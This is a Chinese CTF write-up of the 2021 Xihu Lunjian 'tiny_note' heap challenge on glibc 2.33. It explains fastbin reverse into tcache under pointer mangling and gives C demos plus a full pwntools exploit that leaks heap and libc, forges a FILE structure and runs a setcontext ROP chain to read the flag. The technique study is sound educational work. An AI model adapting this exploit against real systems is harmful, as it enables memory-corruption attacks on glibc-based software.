从2021年西湖论剑一道题看高版本libc解题思路

admin 2022年6月27日08:19:26评论37 views字数 6590阅读21分58秒阅读模式

从2021年西湖论剑一道题看高版本libc解题思路

本文为看雪论坛优秀文章
看雪论坛作者ID:Ayakaaa





前言


这是2021年西湖论剑初赛上的一道一解(好像是,记不太清是不是1解了)高版本libc题,版本为2.33,两个hook仍然存在,但是许多利用手法与之前有一定出入,在这里通过这样一道题来熟悉高版本下的漏洞利用手法。
 
这道题callmecro已经写过一篇详细的复现:https://www.anquanke.com/post/id/260059
 
采用的是largebin attack,但是并非预期解,本篇文章采用fastbin reverse into tcache来达到仅使用fastbin 范围内的chunk实现任意+8对齐地址写一个堆地址的目的。本篇文章的重点也在于通过这道题引出不同版本下fastbin reverse into tcache的使用。
 
并且如果采用fastbin reverse into tcache来解题,会大大降低堆风水的难度,不需要非常小心的使用内存空间,exp看起来也会清爽很多。




前置知识


1.fastbin reverse into tcache
 
2.house of pig中的IO利用部分





fastbin reverse into tcache


低版本


在2.27-2.31版本中,没有对fd指针加密,所以在利用的时候非常简单,只需要将tcache填满,然后放7个chunk进fastbin,并将第一个放进fastbin的chunk的fd改成目标地址,然后清空tcache,申请一个fastbin出来,就可以将target链入tcache并且是在头部,这样即可实现任意地址写一个堆地址的目的,还能将链入tcache的地址申请出来,达到任意地址写任意值。
 
我们来调试一份demo代码:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <assert.h>const size_t allocsize = 0x40;int main(){  setbuf(stdout, NULL);  char* ptrs[14];  size_t i;  for (i = 0; i < 14; i++) {    ptrs[i] = malloc(allocsize);  }   for (i = 0; i < 7; i++) {    free(ptrs[i]);  }  char* victim = ptrs[7];  free(victim);  // Fill the fastbin.  for (i = 8; i < 14; i++) {    free(ptrs[i]);  }  size_t stack_var[6];  memset(stack_var, 0xcd, sizeof(stack_var));  *(size_t**)victim = &stack_var[0];  for (i = 0; i < 7; i++) {    ptrs[i] = malloc(allocsize);  }  malloc(allocsize);  char *q = malloc(allocsize);  return 0;}

在第29行我们下个断点看看:
从2021年西湖论剑一道题看高版本libc解题思路
 
此时fastbin中放进去了7个,tcache也已经被清空,并且最先放进去的fastbin的fd也已经被修改。
 
我们执行一下malloc:
从2021年西湖论剑一道题看高版本libc解题思路
 
可以看到,目标地址被链入tcache,且其fd位置上的值被改成了一个堆地址。


高版本


从libc2.32开始,针对tcache和fastbin的fd指针都进行了一个加密,加密过程是用当前chunk的地址>>12去和fd值异或,并将结果作为新的fd值,所以在进行fastbin reverse into tcache的时候,就不能单纯的将fastbin的fd该成目标地址了,需要先和其地址>>12去异或。
 
我们一起来调试一下这份新demo:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <assert.h>const size_t allocsize = 0x40;int main(){  setbuf(stdout, NULL);  char* ptrs[14];  size_t i;  for (i = 0; i < 14; i++) {    ptrs[i] = malloc(allocsize);  }   for (i = 0; i < 7; i++) {    free(ptrs[i]);  }  char* victim = ptrs[7];  free(victim);  // Fill the fastbin.  for (i = 8; i < 14; i++) {    free(ptrs[i]);  }  long long stack_var[6];  stack_var[2]=(long long)stack_var>>12;  *(size_t**)victim = ((long long)victim>>12)^((long long)stack_var);//*(size_t**)victim = &stack_var[0];  for (i = 0; i < 7; i++) {    ptrs[i] = malloc(allocsize);  }  malloc(allocsize);  return 0;}

这里记得把libc版本更换到2.32或以上。
 
将断点打在30行,来看看:
从2021年西湖论剑一道题看高版本libc解题思路
 
可以看到pwndbg已经显示不出来完整的fastbin链了,因为fd指针是加密过的,但是这只是解析问题,不会影响我们后续的工作,我们将处理好的fd写到第一个放进fastbin的chunk的fd处,然后执行malloc看看。
从2021年西湖论剑一道题看高版本libc解题思路
 
tcache也无法识别出完整的链了,但是我们仍然将目标地址链入了tcache中,可是有一个问题,写到fd位置的地址不再是一个正确的堆地址,而是加密后的,对于tiny_note这道题而言,由于申请的时候限制在了一页中,所以链入的地址是无法申请到的。
 
接下来我们要想其他的方法实现写入堆地址的目的。
 
我们再次观察其写入过程:
从2021年西湖论剑一道题看高版本libc解题思路
 
我们看到在keys的位置仍然写入的是正确的堆地址,并没有进行加密,但是keys的写入过程有一个检查,就是必须+8位置对齐 ,所以我们其实是无法通过写keys写入IO_list_all的,但是chain是在+8位置的,所以我们可以通过keys写入chain来打IO。




house of pig的IO部分


house of pig的IO部分主要利用了IO_str_overflow,具体利用可以直接看这篇文章:https://www.anquanke.com/post/id/242640




tiny_note


我们回归题目本身,简要叙述一下攻击过程:
 
1.首先通过UAF泄露堆地址;
 
2.然后利用tcache和UAF实现一个一页内的任意地址写;
 
3.利用部分范围的任意地址写修改chunk的size,让其进入unsortedbin从而泄露libc;
 
4.利用fastbin reverse into tcache将chain写成heapbase+0x10;
 
5.利用任意地址写不断完善fake FILE;
 
6.利用house of pig配合setcontext+61完成orw。
 
注:题目本身还需要利用getdents64获取flag名再去orw,但不是本次复现的重点,所以略去此步。
 
exp:
from re import Lfrom pwn import *from ctypes import *from string import *from hashlib import *from itertools import product#context.log_level = 'debug'io = process('./pwn')#io = remote('35.246.158.241',32131)libc = ELF('./libc-2.33.so')elf=ELF("./pwn")rl = lambda    a=False        : io.recvline(a)ru = lambda a,b=True    : io.recvuntil(a,b)rn = lambda x            : io.recvn(x)sn = lambda x            : io.send(x)sl = lambda x            : io.sendline(x)sa = lambda a,b            : io.sendafter(a,b)sla = lambda a,b        : io.sendlineafter(a,b)irt = lambda            : io.interactive()dbg = lambda text=None  : gdb.attach(io, text)# lg = lambda s,addr        : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))lg = lambda s            : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))uu32 = lambda data        : u32(data.ljust(4, b'x00'))uu64 = lambda data        : u64(data.ljust(8, b'x00'))def menu(choice):    sla("Choice:",str(choice))def add(index):    menu(1)    sla("Index:",str(index))def edit(index,context):    menu(2)    sla("Index:",str(index))    sa("Content:",context)def show(index):    menu(3)    sla("Index:",str(index))def free(index):    menu(4)    sla("Index:",str(index)) #-----------------------leak heapbase--------------------------add(0)add(1)free(0)show(0)ru("Content:")heapbase=u64(io.recv(5).ljust(8,'x00'))heapbase=heapbase<<12lg("heapbase")  #-----------------------leak libcbase------------------------------heap=heapbase+0x2b0xor=heapbase>>12free(1)edit(1,p64(xor^heap))add(1)add(0)edit(0,p64(0)+p64(0x421))for i in range(33):    add(0)free(1)show(1)ru("Content:")libcbase=u64(io.recv(6).ljust(8,'x00'))-(0x7f514304ec00-0x7f5142e6e000)lg("libcbase")io_list_all=libcbase+0x1e15c0io_str_jumps=libcbase+(0x7f6b247b0560-0x7f6b245ce000)free_hook=libcbase+libc.sym['__free_hook']pcop=libcbase+0x14a0a0lg("pcop")setcontext=libcbase+libc.sym['setcontext']rdi_ret=libcbase+0x0000000000028a55rsi_ret=libcbase+0x000000000002a4cfrdx_ret=libcbase+0x00000000000c7f32open=libcbase+libc.sym['open']read=libcbase+libc.sym['read']write=libcbase+libc.sym['write']#----------------------fastbin reverse into tcache---------------------------##---------change tcache count-----------add(0)add(1)free(0)free(1)heap=heapbase+0x10edit(1,p64(xor^heap))add(0)add(0)edit(0,p64(0)) ##------------full fastbin----------------add(1)#change fdadd(2)#full fastbinfree(1)edit(0,p64(2))edit(1,p64(xor^heapbase+0x90))add(1)add(1)for i in range(7):    edit(0,p64(0))    add(2)    edit(0,p64(i))    free(2)edit(0,p64(0))add(2)edit(0,p64(7))free(2)heap=heapbase+0x400edit(2,p64(xor^(io_list_all+0x70)))for i in range(6):    add(2)    edit(0,p64(7))    free(2)    edit(0,p64(6-i))edit(0,p64(0))edit(1,p64(io_list_all>>12))add(2) def change(addr,context):    edit(0,p64(1))    edit(1,p64(addr))    add(2)    edit(2,context) length=0x230start = heapbase + 0x600end = start + ((length) - 100)//2change(heapbase+0x30,p64(1)+p64(0xffffffffffff))change(heapbase+0x40,p64(0)+p64(start))change(heapbase+0x50,p64(end))change(heapbase+0xd0,p64(0))change(heapbase+0xe0,p64(0)+p64(io_str_jumps))change(heapbase+0x1a0,p64(free_hook))change(start,p64(pcop)+p64(heapbase+0x700))change(heapbase+0x720,p64(setcontext+61))change(heapbase+0x7a0,p64(heapbase+0x800)+p64(rdi_ret))change(heapbase+0x7c0,'flag'.ljust(0x10,'x00'))change(heapbase+0x800,p64(heapbase+0x7c0)+p64(rsi_ret))change(heapbase+0x810,p64(0)+p64(open))change(heapbase+0x820,p64(rdi_ret)+p64(3))change(heapbase+0x830,p64(rsi_ret)+p64(heapbase+0x900))change(heapbase+0x840,p64(rdx_ret)+p64(0x50))change(heapbase+0x850,p64(read)+p64(rdi_ret))change(heapbase+0x860,p64(1)+p64(write)) #----------exit--------------edit(1,p64(free_hook))edit(0,p64(1))add(2) irt()

最后放一个打通的结果图吧:
从2021年西湖论剑一道题看高版本libc解题思路



从2021年西湖论剑一道题看高版本libc解题思路


看雪ID:Ayakaaa

https://bbs.pediy.com/user-home-954038.htm

*本文由看雪论坛 Ayakaaa 原创,转载请注明来自看雪社区

从2021年西湖论剑一道题看高版本libc解题思路



# 往期推荐

1.Android APP漏洞之战——调试与反调试详解

2.Fuzzm: 针对WebAssembly内存错误的模糊测试

3.0rays战队2021圣诞校内招新赛题解

4.2022腾讯游戏安全初赛一题解析

5.一文读懂PE文件签名并手工验证签名有效性

6.CNVD-2018-01084 漏洞复现报告(service.cgi 远程命令执行漏洞)



从2021年西湖论剑一道题看高版本libc解题思路



从2021年西湖论剑一道题看高版本libc解题思路

球分享

从2021年西湖论剑一道题看高版本libc解题思路

球点赞

从2021年西湖论剑一道题看高版本libc解题思路

球在看



从2021年西湖论剑一道题看高版本libc解题思路

点击“阅读原文”,了解更多!

原文始发于微信公众号(看雪学苑):从2021年西湖论剑一道题看高版本libc解题思路

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月27日08:19:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从2021年西湖论剑一道题看高版本libc解题思路https://cn-sec.com/archives/1144854.html

发表评论

匿名网友 填写信息